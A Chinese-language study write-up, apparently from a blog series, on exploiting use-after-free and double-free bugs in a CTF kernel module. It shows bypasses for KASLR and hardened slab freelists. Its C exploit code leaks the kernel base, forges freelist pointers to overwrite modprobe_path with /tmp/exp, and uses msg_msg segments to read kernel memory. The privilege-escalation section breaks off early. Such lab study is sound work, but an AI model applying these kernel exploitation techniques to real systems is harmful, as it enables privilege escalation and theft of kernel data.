- 5.3 kaslr + randomized freelist
- 5.4 kaslr + randomized freelist + HARDENED freelist
- 5.5 kaslr + randomized freelist + HARDENED freelist + 不具备读能力:读取flag
- 5.6 kaslr + randomized freelist + HARDENED freelist + 不具备读能力:提权
- 5.7
PS: 章节承接https://wsxk.github.io/kernel_heap2/
5.3 kaslr + randomized freelist
攻击条件: 可以任意读写某个 kernel slab的内容。可以多次分配/释放内存
漏洞:某个kernel slab的 uaf double free
泄露地址:
1、 通过kernel crash获取kernel基址信息。
因为有uaf,其实相当于我们可以随便改slab freelist的next_ptr地址。
2、uaf修改next_ptr为非法地址
3、申请到该非法地址,触发oops
oops脚本:
//get kernel_base_addr: via Oops
int fd = open_device();
char buf[1048];
// step 1: free the chunk -> freelist
printf("step1\n");
free_slot(fd,buf,0);
// step 2: set next_ptr = 0x4141414141414141
printf("step2\n");
memset(buf,0x41,0x1d0);
write_slot(fd,buf,0x1d0);
// step 3: alloc the buf
printf("step3\n");
int fd2 = open_device(); // fd2.buf = fd.buf
// step 4: trigger oops
printf("step4\n");
int fd3 = open_device();
第二步,根据泄露的地址进行漏洞利用,利用方法为修改slab中的next_ptr指向modprobe_path,并修改modprobe_path的内容。
environ_set();
//step 0: get kernel_base_addr: via Oops
unsigned long long kernel_base_addr = 0;
scanf("%llx",&kernel_base_addr);
kernel_base_addr = kernel_base_addr - 0x58c20;
printf("kernel_addr: %llx\n",kernel_base_addr);
unsigned long long modprobe_addr = kernel_base_addr+0x13f4c0-0x100;
printf("modprobe_path addr: %llx\n",modprobe_addr);
//get kernel_base_addr: via Oops
int fd = open_device();
char buf[1048];
// step 1: free the chunk -> freelist
printf("step1\n");
free_slot(fd,buf,0);
// step 2: set next_ptr -> modprobe addr
printf("step2\n");
for(int i=0;i<=29;i++){
memcpy(buf+8*i,(char *)&modprobe_addr,8);
}
write_slot(fd,buf,0x8*30);
// step 3: alloc the buf
printf("step3\n");
int fd2 = open_device(); // fd2.buf = fd.buf
// step 4: write modprobe_path
printf("step4\n");
int fd3 = open_device();
memset(buf,0,0x100);
memcpy(buf+0x100,"/tmp/exp\x00",10);
write_slot(fd3,buf,0x100+10);
get_flag();
这里有一个坑点,需要注意modprobe_path+0x100的位置为kmod_concurrent_max,这个结构体不能随意修改。
5.4 kaslr + randomized freelist + HARDENED freelist
攻击条件: 可以任意读写某个 kernel slab的内容。可以多次分配/释放内存
漏洞:某个kernel slab的 uaf double free
泄露地址:
加了HARDENED freelist机制后,之前篡改next_ptr会导致kernel panic。暂且不知道理由为何
1、 通过kernel crash获取kernel基址信息。(这里需要先获取 s->random ^ swab(ptr_addr) )的值,可以通过分配完一个slab中的所有slot,再释放slot a,这样a实际下一个堆块为null,所以a->free_list = s->random ^ swab(ptr_addr)
因为有uaf,其实相当于我们可以随便改slab freelist的next_ptr地址。
2、uaf修改next_ptr为非法地址
3、申请到该非法地址,触发oops
第二步,根据泄露的地址进行漏洞利用,利用方法为修改slab中的next_ptr指向modprobe_path,并修改modprobe_path的内容。
这里因为思想的进步,想到了一个可以一个脚本完成所有任务的办法:
主要利用的思想是:内核文件交互可以是并发的,内核文件的kheap服务于所有用户;父子进程共享文件描述符的话,即使其中一个进程销毁了,其相应的文件句柄也不会被释放
int victim_fd;
int main(){
int fd[8];
for(int i=0;i<8;i++){ //父子进程共享,这样其中一个进程消失也不会被释放
fd[i] = open_device();
}
char buf[1048];
// step 1: free the chunk -> freelist
printf("step1\n");
free_slot(fd[0],buf,0);
// step 2: leak the swab(&ptr) ^ random
printf("step2\n");
memset(buf,0,1048);
read_slot(fd[0],buf,0x1d0);
printf("key: %llx\n",*(unsigned long long *)(buf+0xe8));
// step 3: change next_ptr -> 0x4141414141414141
printf("step3\n");
unsigned long long key = *(unsigned long long *)(buf+0xe8);
key = key ^ 0x4141414141414141;
*(unsigned long long *)(buf+0xe8) = key;
write_slot(fd[0],buf,0x1d0); // 此时kmem_cache的free_list中,存在 A-> 0XAAAAAAAA 的链表
// step 4: alloc slot
printf("step4\n");
victim_fd = open_device(); //此时kmem_cache的free_list中,存在0XAAAAAAAA 的链表
int pid = fork();
if (pid == 0){
int fd3 = open_device(); // saved in cache freelist ,此时分配失败,因为0xAAAAAAAA是无效地址,分配失败后, 链表中仍然是 0xAAAAAAAA
}else{
int status;
waitpid(pid, &status, 0); //等待子进程结束,因为父子进程共享文件描述符,所以子进程销毁后他们也不会被释放,当前 kmem_cache的链表仍然为 0xAAAAAAAA
environ_set();
//step 0: get kernel_base_addr: via Oops
unsigned long long kernel_base_addr = 0;
scanf("%llx",&kernel_base_addr);
kernel_base_addr = kernel_base_addr - 0x58c20;
printf("kernel_addr: %llx\n",kernel_base_addr);
unsigned long long modprobe_addr = kernel_base_addr+0x13f4c0-0x100;
printf("modprobe_path addr: %llx\n",modprobe_addr);
//get kernel_base_addr: via Oops
// step 0 : construct `next_ptr = null situation`
char buf[1048];
// step 1: free the chunk -> freelist
printf("step1\n");
free_slot(victim_fd,buf,0);
// step 2: leak the swab(&ptr) ^ random
printf("step2\n");
memset(buf,0,1048);
read_slot(victim_fd,buf,0x1d0);
printf("key: %llx\n",*(unsigned long long *)(buf+0xe8));
// step 3: change next_ptr -> modprobe
printf("step3\n");
unsigned long long key = *(unsigned long long *)(buf+0xe8);
key = key ^ modprobe_addr ^0x4141414141414141;
*(unsigned long long *)(buf+0xe8) = key;
write_slot(victim_fd,buf,0x1d0);
// step 4: alloc slot
printf("step4\n");
int fd2 = open_device();
int fd3 = open_device();
memset(buf,0,0x100);
memcpy(buf+0x100,"/tmp/exp\x00",10);
write_slot(fd3,buf,0x100+10);
get_flag();
}
5.5 kaslr + randomized freelist + HARDENED freelist + 不具备读能力:读取flag
攻击条件: 可以任意写一个 kernel slot(并非ko自己调用kmem_cache_alloc申请的kmem_cache,而是 kmalloc_trace(kmalloc_caches[51], 4197568, 464);申请)的内容。可以多次分配/释放内存
漏洞:某个kernel slot的 uaf double free
这里的目标不是提权,而是获取flag,flag会放入由另一个kmalloc_trace(kmalloc_caches[51], 4197568, 464);申请的slot中,不可读。
kmalloc_trace(kmalloc_caches[51], 4197568, 464);为在linux自带的kmem_cache中申请的内存。
这里的目标是设法获取kernel中该slot的内容。
这就要提到kernel heap 利用技巧: msg_msg和pipe_buffer里的msg结构体了。
int main(){
char buf[1048];
pin_to_current_cpu();
// step 1: open_device
int fd = open_device();
// step 2: free the slot A
free_slot(fd,buf,0x1d0);
// step 3: make the msg use the freed slot
int msg_id = msg_create_queue();
struct message ingoing;
memset(ingoing.text,0x61,MESSAGE_SIZE);
ingoing.type = 1; // >= 0 is necessary
msg_send(msg_id,&ingoing,MESSAGE_SIZE,0); // now msg structure is msg_msg -> A
// step 4: free the msg_seg again
free_slot(fd,buf,0x1d0); // A is freed
// step 5: get flag to the msg_seg
copy_flag(fd,buf,0x1d0); // A is allocated , and contents have been changed
// step 6: set the A->next_ptr to 0
memset(buf,0,1048);
write_slot(fd,buf,8);
// step 7: recv the msg
struct message outgoing;
msg_recv(msg_id,&outgoing,MESSAGE_SIZE,0,0); // now mag_msg and A are freed
// step 8: resume the env
copy_flag(fd,buf,0x1d0); // in order to avoid kernel panic(caused by freeing freed_slot)
memcpy(buf,outgoing.text+DATAMSG_LEN,DATAMSGSEG_LEN);
printf("%s\n",buf);
}
5.6 kaslr + randomized freelist + HARDENED freelist + 不具备读能力:提权
攻击条件: 可以写一个 kernel slot(并非ko自己调用kmem_cache_alloc申请的kmem_cache,而是 kmalloc_trace(kmalloc_caches[51], 4197568, 464);申请)的内容。可以多次分配/释放内存
漏洞:某个kernel slot的 uaf double free
这里的目标是提权。
kmalloc_trace(kmalloc_caches[51], 4197568, 464);为在linux自带的kmem_cache中申请的内存。
因为要提权,第一步还是要想办法获得kernel的地址信息.